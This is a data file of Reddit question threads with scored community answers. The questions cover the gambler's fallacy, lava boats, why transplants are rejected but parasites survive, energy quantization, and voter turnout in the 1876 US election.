{"q_id": "bykj8q", "title": "i want to know what % i have to get something", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bykj8q/eli5_i_want_to_know_what_i_have_to_get_something/", "answers": {"a_id": ["eqimq0b", "eqimuh1", "eqimzcn", "eqip9j5"], "score": [2, 6, 28, 4], "text": ["You've defined your chances between two possibilities, so the chance of you getting a yes on the 31st \"roll\" would be 5.5%.", "94.5% is 0.945 fractional probability out of 1.0 (per = of, cent = hundredth).\n\n30 fails in a row is 0.945^30 or 0.945 multiplied by itself 30 times. This equals ~0.183 or 18.3%.\n\nNow, the next attempt will still have the same 94.5% chance of failing and 5.5% chance of success. The gambler's fallacy is that since you failed many times, your next chance will have an increased chance of success. However, since all these attempts are independent, it does not matter how many times you try. Each attempt is the same odds.", "Each and every time, you have a 5.5% chance of a yes. It doesn't matter how many times you get a no, the odds of the next one being a yes will be 5.5%. believing otherwise is known as the gambler's fallacy and can either take form as \"gambler's luck\" (I keep hitting, so I can't miss) or \"luck's going to turn around\u201d (I keep missing, so I'll keep going because I've got to win now).\n\nTo calculate the odds of getting something repeatedly, you take the odds as a decimal and multiply it by itself for each subsequent time. In this scenario, you would take .945 times itself 30 times. The result is you have an 18.3% chance of getting turned down 30 times in a row.", "The probability of getting 30 \"no\"s in a row is simply (94.5%)^(30), which is the same as 0.945^(30). This works out to 0.1832 (18.32%), which is a bit short of 1/5, and a bit over 1/6. So if you repeat your experiment a bunch of times, you expect that one out of every five batches of 30 questions to be all \"no\"s.\n\nAs to the probability of the next answer being a \"yes\", this is an interesting question. First off, you need to know whether or not events are independent. If you're asking questions to different people each time where they can't hear each other's answers, then one answer can't affect another. If everybody can hear everybody else's answers, number 31 might decide to answer 'yes' just to be special, or they might decide to answer 'no' just to keep the streak going, irrespectively of what they'd answer if asked in isolation.\n\nFor the sake of simplicity, let's assume we're talking about the first case \u2014 independent events.\n\nThe simplest way to answer this question is that your next answer has a 5.5% chance of being a yes. If you keep rolling a 6-sided die, and you get 100 ones in a row, the next roll still has a 1/6 chance of being a one.\n\nA more sophisticated way of looking at it is: 5.5% is my best guess of how often people answer \"yes\", but I should revise that guess based on evidence. Given that I've asked 30 people and they all answered \"no\", maybe the true share of \"yes\"s is lower than 5.5%. Under this model, you could use [Bayes' Theorem](_URL_0_) to calculate a better guess of what the real ratio is. I honestly can't be arsed to calculate the exact value, but, again, it would _lower_ than 5.5%.\n\nWhat you _don't_ want to conclude from this situation is \"I got 30 'no's in a row, so I'm _really_ bound to get a 'yes' next time\". That is the [gambler's fallacy](_URL_1_).\n\nThese two models correspond roughly to [Frequentist](_URL_3_) and [Bayesian](_URL_2_) interpretations of probability."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Bayes'_theorem", "https://en.wikipedia.org/wiki/Gambler's_fallacy", "https://en.wikipedia.org/wiki/Bayesian_probability", "https://en.wikipedia.org/wiki/Frequentist_probability"]]}
{"q_id": "1dd5vh", "title": "Would it be possible to build a lava boat that is able to carry passengers with current technology?", "selftext": "Engineering Question:\n\n\nWould it be possible to construct a boat with today's technologies that would be able to carry human passengers across a sea of molten rock without destroying the boat or killing the passengers?\n\n\nWould the molten rock freeze to the bottom of the boat and progressively make it heavier and heavier until it sank?\n\n\nWhat would such a boat look like? Would the design be significantly different from its water counterparts?\n\n\nCould the ship be powered by a heat-pump between the hull and the surrounding air?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dd5vh/would_it_be_possible_to_build_a_lava_boat_that_is/", "answers": {"a_id": ["c9p8ol4", "c9pa5yx", "c9pbvgm", "c9pfncf"], "score": [14, 6, 8, 2], "text": ["I don't think I can give you a complete answer but I can at least point out why it would be really difficult:\n\n* The first problem with being on lava is that it is really hot, this would induce [creep](_URL_0_) on your hull's metal which mean that it would start deteriorating really quickly.  You could probably reduce the creep by using ceramics which would act as a protection by not conduction heat as much as metals.\n\nHowever, the problem with ceramic is that it is very brittle and it would probably break under the tension induced by the lava.\n\n* Second problem would be how do you move in lava ? Lava is not like water and it would be difficult to use propeller (and we come back to the creep problem). \n\n* Third problem is how do you protect the passengers ? Lava temperature usually range from 700 to 1200 degree celsius. There is also different types of lava and they dont flow nor react the same way. \n\nI probably forgot lots of stuff so do not hesistate to point out or correct me if I am wrong on any point \n", "Heat isn't the only issue to worry about. Lava flows typically produce off-gas that can kill or render unconscious rapidly.", "Yeah, it is very possible.  The Mars rover passed through the atmosphere of Mars reaching temperatures of over 2,500 degrees F.  Lava can reach that temp, but it is usually around 1,800 degrees F.  The Mars rover stayed near room temp.  I suppose you could make a ball of the [heat sheild material](_URL_0_).  You could then roll the ball using a motor mounted on the inside and a gyroscopic housing.  I don't know if there is any practical application for such a device, but I don't think it would be impossible to do.  ", "I think what you'd want would be closer to either a swamp boat with some sort of extremely non heat conductive material that was perfectly smooth (lava cools and becomes rock on this surface, you are done.), or possibly a hovercraft with a heat resistant skirt/frame. You can't move through the lava, you need to go over. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Creep_\\(deformation\\)"], [], ["http://www.nasa.gov/centers/ames/research/msl_heatshield.html"], []]}
{"q_id": "33b7wy", "title": "Why does the Human body reject transplanted organs /tissue and proceed to destroy them but it doesn't kill parasites like worms ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33b7wy/why_does_the_human_body_reject_transplanted/", "answers": {"a_id": ["cqj9054", "cqj9eil", "cqje3ci", "cqje50r", "cqjek6y", "cqjeyd2", "cqjezsi", "cqjg9x8", "cqjhcuf", "cqjhmr5", "cqjiy6b", "cqjjzdy", "cqjk6an", "cqjlsr4", "cqjlydq", "cqjo9e3", "cqjpicp", "cqjstkw", "cqjt2xv", "cqjvvmz", "cqk2s3z", "cqk3lp4"], "score": [2280, 159, 9, 2, 15, 2, 29, 9, 2, 23, 15, 6, 6, 2, 2, 2, 6, 2, 4, 3, 3, 3], "text": ["Every defense mechanism has false positives (for example, when you body attacks itself, like in an auto-immune disorder) and false negatives (for example, when your body doesn't attack a pathogen).\n\nVarious parasites have the advantage of having had millions of years to evolve their evasive mechanisms and their defense mechanisms to avoid detection or mitigate attacks by human immune systems. ", "All human's, aside from identical twins, have a different mix of unique markers that allow for the recognition of self and nonself. The most important is the Major Histocompatibility Complex or MHC. Nearly every cell in your body expresses MHC which is loaded with a little bit of protein called a peptide. These peptides can come from self and from pathogens. An individual's T cells are designed to react to cells that express an MHC that binds unusually strongly. During T cell development, T cells selected that they won't bind self MHC with self peptide. Foreign tissue like transplanted organs express MHC that your T cells will bind strongly which causes the T cell to kill the foreign tissue through activation of cytotoxic T cells which punch holes in the transplanted organ and macrophages that will eat it.\n\nOur organs never evolved survival mechanisms to evade the immune systems whereas many parasites have. The type of immune response I described above is what is called a Th1 or cell mediate response. Th2 and humoral responses are used against parasites. Because parasites are so large, our body is more focused on controlling it than killing it which could damage the infected tissue. Your body does produced antibodies against the parasite that can cover it which leads to cells like eosinophils degranulating toxins on the parasite but because parasites have many life stages it is often difficult to mount an antibody response against multiple forms of the parasite.\n\nTLDR: Transplanted organs are an easy target that doesn't try to protect itself while your body doesn't want to cause damage by destroying parasites\n\nSource: Immunology Graduate Student. Janeway's Immunobiology is a great textbook", "Transplanted organs are screened for MHC allotypes before transplantation. MHC molecules are the proteins our cells make that display antigens to other immune cells...like T cells. Our immune system is designed to be \"tolerant\" to our own MHC allotypes. However, when foreign tissue express different MHC, our immune system recognizes it as foreign and attacks it. \n\nWe do have defense against helminthic worms and parasites. IgE antibodies, mast cells, basophils, and eosinophils coordinate to release toxins that can kill these pathogens. However some of these have developed great ways of eluding our immune system. Interestingly enough, since parasites aren't typically a problem in first world countries, the normal defense mechanisms target non virulent substances like pollen and animal dander resulting in the development of allergic reactions.", "A large part of the immune system is dedicated to secrete antibodies from mucus membranes that are designed to specifically target parasite antigens.  However, due to our generally parasite-free 1st world lifestyle, those antibodies frequently target other antigens, and result in allergies.", "I think one simpler explanation that may be overlooked is that organs  don't have defenses while parasites etc do. An organ (that is, it's constituent cells) expects to be welcome in the body and takes no measures to protect itself from the body's defenses; it is designed to be part of what is being defended.\n\nAn organ that reads as foreign will be attacked by the same defenses as a parasite... but the parasite has tools to fend off the defenders and the organ does not.", "As others have mentioned, parasites are very well-adapted to living inside host organisms. I wanted to call attention to one specific parasite, *Trypanosoma brucei*, which causes African Sleeping Sickness. 6-10% of *T. brucei* genome is dedicated to different Variable Surface Glycoproteins (VSGs), which help the organisms evade detection by the host's immune system. Only one of these VSGs is expressed on any individual *T. brucei*, but having thousands of variations allows the parasites to persist in the body. When the immune system begins to recognize and destroy the *T. brucei* with one VSG variant, the parasite load decreases for a time until the surviving parasites of a different VSG variant are able to replicate undetected.\n\nOnly one of the examples of why the human immune system has trouble with parasites, but I've always found it very interesting.", "Everything has antigens (targets) which mark it. The purpose of our immune system is to differentiate self antigens from foreign antigens, and go open a can of whoop ass on anything with foreign ones. When you get a donated organ your body recognizes the antigens on them as foreign and is like, \"da fuq iz dis shit?!\" and says, \"see that thing with the not us antigen/target on it? go fuck it up!\" and you develop and immune response against it. To side step this we try to match recipients with donors that have the same antigen profiles, so organ targets that are similar to what's already in your body, that way your immune system will see this new shiny kidney with its antigens and think, \"oh, this new kidney has the same antigens on it (because it's from dude's twin brother) as are over on homie's liver, that's supposed to be here. Life is good, no stress\". Issues come up when donor targets are different from the recipient's and the immune system realizes there's something foreign inside that \"shouldn't\" be there. We give immunosuppressive drugs to recipients so that even when their body recognizes this foreign thing, it's not able to mount a response to get rid of it. The effectiveness of this varies.\n\nWhy can't the body get rid of things like parasites or certain bacteria? There are a ton of different mechanisms by which they avoid death. We can call these things \"virulence factors\", so the methods by which they outsmart our immune systems (and otherwise cause us trouble). 2 examples:\n\n**Hepatitis C Virus (HCV)**: This little fucker displays antigen/target \"instability\". Because it has such a shitty spell check on its genetic material it is constantly changing which antigens it makes. Thus the body finds a target on the virus and be all lyke, \"Bros, dis bitch b wearing a purple wig, go fuck up NEthing wearing a purple Mohawk wig!\" but then HCV stops wearing a purple wig and dawns a blue mullet wig, and the body isn't able to keep up with these antigen/outfit changes and never really finds or properly destroys the virus.\n\n**Staphylococcus aureus/\"staph\"**: This cocksucker does a bunch of ratchet ass shit. One bullshit thing it does is use something called Protein A. Remember those little Y shaped things from biology called [antibodies](_URL_0_)? The branched parts/variable region identify and attach on to enemy antigens, like the foreign organ or a unique protein on a bacteria. The base of the Y, the constant region, is picked up by our immune cells, therefore directing them to fuck up the bad guy on the other end of the antibody. Protein A is on staph, and actually grabs onto the constant region, the part that our defense cells are supposed to latch onto, and make the antigen targeting part of the antibody face away from any of the antigens. Imagine if you wanted to stop your idiot room mate from making burned ass hole on the stove so while he's trying to cook, you grab the flat part of his spatula. You are now staph and your hand covering the effective part of the spatula is Protein A, making the spatula/antibody useless to do [it's only job](_URL_1_). Thus, our defense cells can't use the antibodies to raise hell.\n\nThere are a shit ton of things that worms, viruses, bacteria, etc. do to avoid the immune system, so, it's not really one answer, but those are two. ", "The simplest answer is that it tries to kill the parasites, but isn't always successful.\n\nThink of this: parasites (by which I assume you mean helminths, or parasitic worms) have evolved alongside us for millions of years, and so they've evolved mechanisms to avoid the immune system.  Some of them suppress the immune system, some of them coat themselves in our proteins as a sort of camouflage, and some hide in places our immune system can't see them.  There's no selective advantage to having human organs evade the immune system of another human, so that never evolved.", "In a human body, every cell has MHC I it acts like an ID tag for the TSA (immune cells to check upon) if you do not have the MHC I match then the immunity response occurs. Parasites and other pathogens have complicated evasive methods to stimulate an MHC I receptor. Fun fact, bone marrow can attack the human body not the other way around. ", "Every cell in our body has a molecule called MHC-I (major histocompatibility complex class-I) expressed on it. In the steady state, proteins from within the cell are broken into peptides (small fragments of proteins) and these peptides are loaded onto MHC-I and exported to the cell surface. This gives an antigenic barcode if you will, of all the peptides within a cell, and therefore an organ (and whole body). Our immune system remains in a tolerogenic state to \"self antigens\" but will however recognise \"foreign, or non-self\" antigens displayed on MHC-I, such as those from a foreign organ.\n\nRemoval of MHC-I from the surface of an organ won't allow the organ to be ignored because cells called natural killer (NK cells) recognise the absence of MHC and will destroy the cells.\n\nWorms avoid detection by 3 main mechanisms. Firstly, some worms have a sheath that they will shed upon entry into the host. The sheath will contain the major antigens that would otherwise facilitate recognition. Without this sheath, the worm can go into stealth mode. Now that it is in stealth mode, the worm can burrow into the linings of the GI tract. This causes lots of damage and the natural reaction for the body is to form a granuloma. Granuloma formation effectively blocks the immune system from effectively getting access to the worm and having a go at destroying it. Think about trying to kill a giant within a fortified castle - similar case here. Thirdly, worms have a specific lifecycle. The antigens expressed on the eggs, larvae and adult worms can all be different and so the immune system is trying to hit a moving target.\n\nHope this helps!", "I'm surprised to not see a more detailed answer to this so far, so here goes:\nBoth parasites (and cancer cells) exploit systems your body has in place to turn off the immune system. For every time you mount and immune attack, there are counteracting pathways that try to turn off that attack so you don't harm anything that isn't supposed to be harmed. In general, this proceeds through regulatory T cells coming in and suppressing the immune response. Both worms and cancers turn on regulatory T cells to tune down the immune system. Here is a review: _URL_1_\nOrgans do not have this capability, because they didn't have a need to defend from the immune system where they were growing. They also possess antigens on their surface (like worms and cancer) that the immune system wants to destroy. If we strip these antigens off, you can even transplant organs from a pig to a human. \n_URL_0_", "It does kill parasites and worms, but parasites and worms tend to fight back.  Transplanted organs do not.", "Parasites are sneaky.  They're designed to infiltrate, survive and breed in inhospitable environments, like a digestive track or stomach acid.\n\nYour new liver is designed to work hand in hand with your body, not to evade its immune system.", "If you think about it evolutionarily, viruses and other pathogens have evolved to evade the human immune system, as this is a necessity of their survival. Transplanted organs, on the other hand, retain the genetic imprint of the donor, and any cell-surface markers that are not recognized as self-antigens by the recipients immune system will be destroyed.", "Aren't worms living in intestines, for purposes of the immune system, outside your body? Most things you eat don't trigger inflammation, white cells etc. when you eat them, but would if transplanted into the body. The defense is to not let them into the bloodstream and maybe try to flush them out. ", "Some parasitic worms also have variant surface glycoproteins that change the proteins expressed on the surface of the worm. These changes occur cyclically and in the time it takes the body to recognize the new surface protein the parasite has already multiplied. Plasmodium falciparum (malaria) uses this defense mechanism and, as you can tell by mortality rates in affected areas, it's a very effective way to fool the host immune system. ", "The human body actually tries to do both. The thing about parasites is that many of them have defense mechanisms of their own. Many intestinal worms for example secrete substances that suppress your immune system. More specifically they secrete substances that suppress Eosinophils that normally are responsible for protecting the body from parasites (and are responsible for allergic reactions). The secretions are not unlike antihistamines in nature, although there is quite a bit more to it then that. ", "Great questions and answers. I'll add: the defense mechanisms-or some of the ways that these bugs have evolved to avoid the wrath of the immune system is what makes them so fantastically creepy. For example, the bacteria Staph aureus can cause superficial and deep skin infections, food poisoning and toxic shock syndrome. It avoids host defenses by having  a capsule, having a protein that binds the business end of immunoglobulins rendering them non-immunogenic and a having toxin that actually fights some of the host's white blood cells. Some worms and parasites will elaborate molecules that disturb the normal inflammatory response of the host to protect themselves. Some will activate T-regulatory cells-which usually allow for tolerance to self-antigens, and essentially use those cells to make the host tolerate them as well. \n\nTL; DR They have weapons and shields and recruit the host's soldiers to their team.  \n\n", "Detailed Answer:\n\nMHC cell surface receptors, which are very diverse through out our population, are easily recognized as non-self and cause a huge immune response. This is what is recognized as foreign and causes Natural Killer cells and CD8+ T cells to be activated (CD8 + T cells require TH1 cells cytokine and co stimulation signals) and respond by destroying these foreign cells via release of granules or via FAS/FASL.\n\nExtra cellular pathogens have a number of defense mechanisms like neutralizing radical oxygen species (Catalase), incorporating host membrane components containing things like MHC molecules / anti complement molecules like DAF and CD59 (tricks immune system into thinking pathogen is self), slime layers that act like a barrier to prevent immune cells from interacting with the pathogen, and ETC.  ", "When your body is developing new immune cells in the bones and lymph nodes, they are subjected to continuous interactions with \"Self\" antigens. This occurs as lymphocytes develop under the direction of a larger cell, such as a dendritic cell in the lymph nodes. These cells display HLA antigens associated with host cells. Lymphocytes have two main objectives: Identify and protect \"Self\" or host cells and attack foreign cells. If a developing lymphocyte produces a receptor or antibody that targets these self antigens for attack, they are induced to undergo programmed cell death. More specifically there are HLA Antigens that nearly all host cells display to identify them as \"Self\" to active lymphocytes. Active lymphocytes are continuously patrolling their environment, transiently attaching to host cells they come into contact with. So immune cells don't only interact with foreign cells, they are constantly interacting with cells in our body to give the \"all clear.\" When transplanting organs, the goal is to find a donor whose HLA antigens most closely matches those of the recipient. When there is a mismatch of the HLA type, the transplant may be rejected by the host's immune system due to the binding of lymphocytes to the foreign HLA sequence and initiating an attack on those foreign cells. To avoid this fate, transplant recipients are often given immunosuppressant drugs which decrease the immune response to all foreign cell types, including pathogens.\nThere are two reasons that parasites escape detection. Firstly, parasites are often not located in the aqueous humor where a vast majority of lymphocytes are circulating and are thusly not subjected to the same type of survailance as transpanted tissues would experience. Second, there is only a limited type of lymphocytes that occupy the environments in which parasites thrive and these cells must have antigenic specificity for cell surface markers displayed by the parasites. These antigenic specificities are developed through a complex process involving genetic rearrangement to specific genes that develops the antigenic specificity of the antibodies or receptors produced by the lymphocyte. For instance, if the parasite was located in the intestines, only a handful of lymphocytes would interact with the parasite and if none of the lymphocytes has a receptor/antibody specific for a cell surface identifier on the parasite then the parasite would go completely unnoticed.\n\nI am a bit rusty on my immunology so don't take my word as absolute, but generally this is my understanding.", "I think a lot of people have thoroughly covered transplant rejection, but I think that more could be said of parasites.\n\nOne thing about parasites is that they have evolved their own complex microbial systems to avoid detection. Often they use defenses, like anticoagulants in their saliva, to keep your immune system from rejecting them. And even when your body does reject them, and you start getting puss, and other body mechanisms to fight infections, it may not necessarily kill the parasite.\n\nAnd some parasites form a symbiotic relationship with their hosts as well. Typically symbiosis is a mutually beneficial arrangement, but not always. Parasites may adapt to thrive in a certain environment, e.g. the human body, by evolving. And sometimes may even give back something beneficial to the host to form a symbiosis.\n\nMany parasites are also specifically adapted to a particular host. There are cases where you find only certain parasites on certain hosts, because they have completely adapted their lifecycle around that particular host. When parasites adapt to multiple hosts that's when you get the negative side effect of disease spreading interspecies as well. Such as when a mosquito bites a bat, or rodent, and then bites a human and shares whatever it picked up from the other animal.\n\nAnd when you consider that just the human gut is filled with microbes with their own, distinct, non-human, DNA you begin to realize that what you call \"you\" isn't quite just, well, you. While most of these microbes exist in a beneficial symbiotic relationship (gut microbes help aid in digestion) there are some that are harmful to us as well. The ones that are more harmful are usually classified as parasites.", "Simple answer: The human body actually does *try* to kill parasites like worms. You actually have a couple immune cells specially tailored to fighting big parasites like worms. The problem is that worms have evolved to avoid and resist our immune systems, while an organ from another person has no such protection. Get rid of a worm's protection, and it would get attacked all the same."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://upload.wikimedia.org/wikipedia/commons/a/a0/Antibody_je2.png", "http://memeboss.com/wp-content/uploads/2013/05/You-had-one-job-meme-handrail.jpg"], [], [], [], ["http://www.breakingbio.org/pigs-promise-organ-transplants-humans/", "http://www.ncbi.nlm.nih.gov/pubmed/17534075"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3jmh8n", "title": "If energy is quantized can't we say that mass is also quantized? And if mass is quantized doesn't that mean that there is some particle which can not be devided in anything smaller?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3jmh8n/if_energy_is_quantized_cant_we_say_that_mass_is/", "answers": {"a_id": ["cuqhif8", "cuqwvef", "cur4owd"], "score": [28, 8, 3], "text": ["Energy isn't quantized in the same way that charge or spin is, in general. If that were the case, there would be inertial reference frames that aren't valid, because they would give objects kinetic energy in between quanta, which violates Lorentz symmetry.", "Energy itself isn't quantised, the available energy levels of a given system are. The exact states depend on the system itself. There isn't a fundamental unit of energy that everything must be an integer multiple of.\n\nThere are plenty of particles that cannot be divided into anything smaller, as far as we can tell. They're called [elementary particles](_URL_0_). The electron is an elementary particle, for example.", "Energy isn't quantized in the sense that there are only certain values of energy allowed. A quantum of light can have as much energy as you want. However at a particular frequency f, it will only come in multiples of hf. But take a frequency 1% higher and the energy will be 1% higher. \n\nMass doesn't appear to have a relation with Plancks constant h in the same way. Nobody really knows why. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Elementary_particle"], []]}
{"q_id": "7flfd4", "title": "The US presidential election of 1876 had the greatest voter turnout in American history, with 81.8% of the voting age population voting. What were the factors that caused such a major turnout?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7flfd4/the_us_presidential_election_of_1876_had_the/", "answers": {"a_id": ["dqcu1yb", "dqcyh7h", "dqd43p4"], "score": [485, 2525, 97], "text": ["Follow up question. With the literacy gap in the country at the time, as a consideration, can these turnout numbers really be trusted?", "Although I'll swing back to the circumstances around 1876, to start off, I'm going to turn this question on its head and look at why voter turnout *declined* in the elections following. If you look at [this chart](_URL_0_) you can see that while 1876 was the highpoint, it wasn't exactly an anomaly, and voter turnout was consistently high in the elections preceding it. It sticks out because, although the drop wasn't *immediately* afterwards, it certainly preceded the continuing decline in voter turnout that would mark the next half-century.\n\nSo why did voting decline in that period? Well, one of the most simple reasons to look at is Jim Crow. While under Reconstruction, black men (women being generally deprived of the vote) could, for the most part, go to the polls and exercise their right to vote, this began to change after Reconstruction was ended (not to say it didn't happen before, just not as effectively), and the Redeemer governments worked through various means to disenfranchise vast swathes of voters in the American South. The effect of this can't be underrated. While in the 1876 election the South saw turnout roughly comparable to the rest of the country, at 75 percent, vote suppression methods such as literacy tests not to mention outright fraud, saw the turnout decline to 46 percent at the turn of the century. By the 1924 election, *19 percent* of those theoretically eligible to vote were actually showing up at the polls. And to be sure, while the primary target was black voters, many poorer, illiterate whites were disenfranchised too, despite \"loopholes\" to grandfather many of them in. In Louisiana, for instance, while 90 percent of black voters were barred from the polls, 60 percent of whites were as well. While Jim Crow should absolutely be understood as primarily a racial regime, it was quite oligarchical as well, with power being concentrated in the hands mostly of upper-class whites, who wanted to share it with no one.\n\nThis allows us to circle back somewhat though to look at 1876, and why it would be slightly above the average of the time though. During the Reconstruction era there were *real efforts* to mobilize poor voters of both races by the Radical Republicans. The example I'm most familiar with was that led by Mahone in Virginia whose Readjuster movement controlled the state for a brief time in the late 1870s-early'80s, propelled by populist support from a coalition of black voters and poor whites. I won't spend to much time on him as I've written about him before [here](_URL_1_) but the short of it is that in the post-war era, but before Jim Crow laws took hold, we can see a lot of political agitation that struck at the white Democratic establishment in the South that was attempting to reclaim power, and that *for a time* they enjoyed some successes. The 1876 election in particular we can look at as a watershed, with both sides of the argument over Reconstruction seeing heavy stakes. And of course Tilden won the popular vote, but lost anyways, as part of a deal that did end Reconstruction anyways. That cessation meant the evaporation of the Federal protections that allowed those insurgent political movements to compete on a roughly level playing field. Changes weren't immediate, and varied state by state - in Virginia for instance the Readjusters remained in power until 1883, when race riots days before the election were used by the Democrats to stoke voter fears - but it nevertheless meant that the suppression of the black vote and the poor white vote was able to start, a process which wasn't immediate, and took time to take full effect.\n\nIt can also be said that while Jim Crow was unique to the American South, similar political tactics were not unknown throughout the country, just in different ways. In the Northern and Western states, turnout had dropped to 55 percent by the 1920 election, after all, and while it cannot be blamed on *institutional* barriers such as those in the South, responses to political mobilization by immigrants and lower-class groups *outside* the South by political elites saw attempts at \"demobilizing what they judged to be the least desirable components of the electorate\". They may not have been legally barring them from the polls, but through the late 1800s and early 20th century, they certainly were attempting to dissuade them from showing up.\n\nSo as I have tickets for Thor at 10, and my wife is giving me *the look*, I'll wrap this up with a quick summation. In short, voter turnout in the United States was consistently fairly high up until the 1880s. The apex of turnout in 1876 isn't exactly an anomaly if we look at the turnouts in votes around it, such as 1868 at 78.1%, or 1880 at 79.4%, but it does coincide with a period in American history rife with political upheaval, not just the American South, still on the tail end of Reconstruction, but nationwide, with Populist movements in the ascendant. The end of the century, and the early 1900s, thus provide a stark contrast, as attempts both at institutional vote suppression, as well as simple 'demobilization' of cohorts of voters, lead to a decline in turnout nationwide.\n\n\nLevin, Kevin M. 2005. \u201cWilliam Mahone, the Lost Cause, and Civil War History.\u201d The Virginia Magazine of History and Biography 113 (4): 502\u20133.\n\nWinders, Bill. 1999. The roller coaster of class conflict: Class segments, mass mobilization, and voter turnout in the U.S., 1840-1996. Social Forces 77, (3) (03): 833-862", "To discuss the 1876 presidential election, let's rewind the clock...\n\nFIRST to the 1860 presidential election, where 81.2% of eligible voters (white men) participated. This heated election was a four-way split with Abraham Lincoln (Republican), John C. Breckinridge (the breakaway pro-slavery Southern Democrat), Stephen A. Douglas (the mainstream Democrat, often referred to as a \"Northern Democrat\"), and John Bell (Constitutional Union, a third party neutral on slavery issues). The electoral college went to Lincoln, sealing his victory, but the popular vote was not in his favor (39.8%, meaning 60~% of Americans did not vote for Lincoln). Lincoln's election - and the indifference re: secession from the lame duck president, James Buchanan - among *many* other issues regarding slavery - provoked South Carolina into leaving the Union, followed by several states in early 1861 and the establishment of the Confederacy.\n\nNEXT presidential election is 1864 during the war itself. Turn-out continues to be high (73.8%) which is  impressive considering the number of white men away from home in the battlefield and the new introduction of absentee voting. As to be expected, there is widespread voter fraud. The Union soldiers backed Lincoln, though, and he won the day again. The Civil War ends in 1865, and Lincoln is assassinated soon after. He is replaced by his Vice President, Andrew Johnson, who Republicans do not want to remain in power because he was a bit too sympathetic with white Southerners and showed bigotry towards newly freed African-Americans.\n\nNEXT presidential election is 1868: former Civil War Union general, Ulysses S. Grant (Republican) against New York Governor Horatio Seymour (Democrat). Another high turnout (78.1%). It's electoral slaughter with Grant winning triple digits against Seymour's ninety. But, as with Lincoln's 1860 election, Grant does have a struggle in the popular vote, where Seymour receives a healthy 47~%. This is the first time African-Americans, newly freed from slavery, could vote. In contrast, some white Southerners had not yet gained back their voting rights from their treasonous turn against the U.S. government. Entire states (VA, MS, TX) were termed \"unreconstructed\" and had no electoral vote.\n\nNEXT presidential election is 1872: the incumbent Ulysses S. Grant (Republican) against Horace Greeley (Liberal Republican, a breakaway party from the Republican party). The Democrats did not run anyone, throwing their support behind Greeley. The turn-out (71.3%) was less high, in part because of the confusion with the Democrats' absence and the split Republican ticket. Still much higher than we see today, which fluctuates in the 50s%. Very strangely, Greeley actually died during the vote counting process. Even more strangely, his wife had died the week before the election, so he spent his few weeks left on Earth in a grief-stricken daze. \n\nAnd FINALLY we get to the 1876 presidential election. Presidential elections for the past four cycles had been intense, fraught, and significant for the future of America. You have the spoiler number: 81.8% of eligible voters participated. Certainly, by 1876, American men recognized the importance of the presidential election and their individual vote in the race. In particular, there was a real obsession with what would happen between the Republican and Democratic parties, as they've undergone great stresses in the last sixteen years. Yes, the Civil War was won, but Reconstruction had taken a real toll on both parties. Unlike in the 1872 presidential election, Democrats decided to run and campaign hard.\n\nOur two candidates: Ohio Governor Rutherford B. Hayes (Republican) against New York Governor Samuel J. Tilden (Democrat). Incumbent Republican President Grant decides not to run for a third term, in part because of accusations of corruption in his administration. Democrats had not won a presidential election since the 1856 presidential election twenty years prior.\n\nIssue 1:  White Southerners hated Reconstruction. The white leaders of the Southern states were sick of U.S. federal forces' occupation and influence on state/local governments in the South. Thus, the white South seemed poised to vote Democrat. During the 1876 election season, numerous incidents of pro-Democrat, anti-black violence occurred, including an ugly series of events throughout South Carolina (remember: the first state to secede in 1860). One such event, the Hamburg Massacre, made it clear to white Southerners that anti-black violence / voter intimidation would not be stopped by federal Republican officials, leading to more violence and voter fraud on Election Day. Consequentially, resentment towards \"carpetbagger\" Northerners and Republicans was now intertwined with resentment towards freed African-Americans. Note that in 1876 (11 years post-war) three ex-Confederate states still were under Republican governmental control: Florida, South Carolina, and Louisiana. And white Southerners hated this ongoing federal Reconstruction: it denied them self-government. They wanted it over. The Democrats agreed. Strangely, so did many Republicans by 1876. It didn't matter: the Democrats had a stronghold in the South founded on resentment of federal intervention and a rejection of black progress.\n\nIssue 2: The Civil War was not fully over. Many Republicans  resented the rise of the ex-Confederate back to his full voting rights. One campaign song, [\"The Voice of the Nation's Dead,\"](_URL_1_) included lyrics such as \"Our Country from all Traitors we must save\" (traitors being ex-Confederate Southerners) and \"Tilden aided Treason\" (re: Tilden's conservative anti-Republican views). Republicans contrasted Hayes' valorous military service in the Union Army (he was repeatedly wounded but continued to serve) with Tilden's war-time criticism of Lincoln and disdain for Republicanism. Republicans even accused Tilden and Democrats of [inspiring intimidation and violence of Northern men](_URL_2_)  (the so-called \"carpetbaggers\", who brought all their belongings to the South in bags made from carpet) who had relocated South at the polls. Republicans \"Waved the Bloody Shirt\" of the Civil War, as it was known then.\n\nIssue 3: In 1876, the United States was struggling economically. Since 1873, the country had been suffering through an economic depression and financial panic, which incited frustration against the incumbent Republican party, who many blamed. More people show up to vote to expel the incumbent party when times are rough. (A more recent example of this case is Herbert Hoover and FDR in the Great Depression.) So, surprisingly, the Democrats have an edge by having NOT been in presidential power for a while.\n\nIssue 4: That strange third party from the 1872 presidential election: the Liberal Republicans. These undecided men had to find a new home, and the Democrats went in for the embrace. They took on the policies of Liberal Republicans and propped up Tilden as their candidate: an anti-Tammany Hall, anti-corruption honest man. Liberal Republicans, who had been repulsed by the corruption in Reconstruction and the Grant administration in 1868 and 1872 terms, were pleased with the nomination. BUT the Republican nominee Rutherford B. Hayes looked equally as good, if not better, for his life-long dedication to honor and honesty, and of course, this was naturally their home party. When Republicans rejected a candidate interested in the spoils system and chose Hayes, the party won back many Liberal Republicans, though notably not all.\n\nIssue 5: The swing states - oh the swing states! If you look at [the electoral map for the 1876 election,](_URL_0_) you'll see some states far North have gone blue (Democrat). Tilden campaigned hard in his home state of New York, and he won it (note: NY had gone Republican in 1860, 1864, and 1872). Several other states swung Democrat that were situated around New York, such as New Jersey and Connecticut, 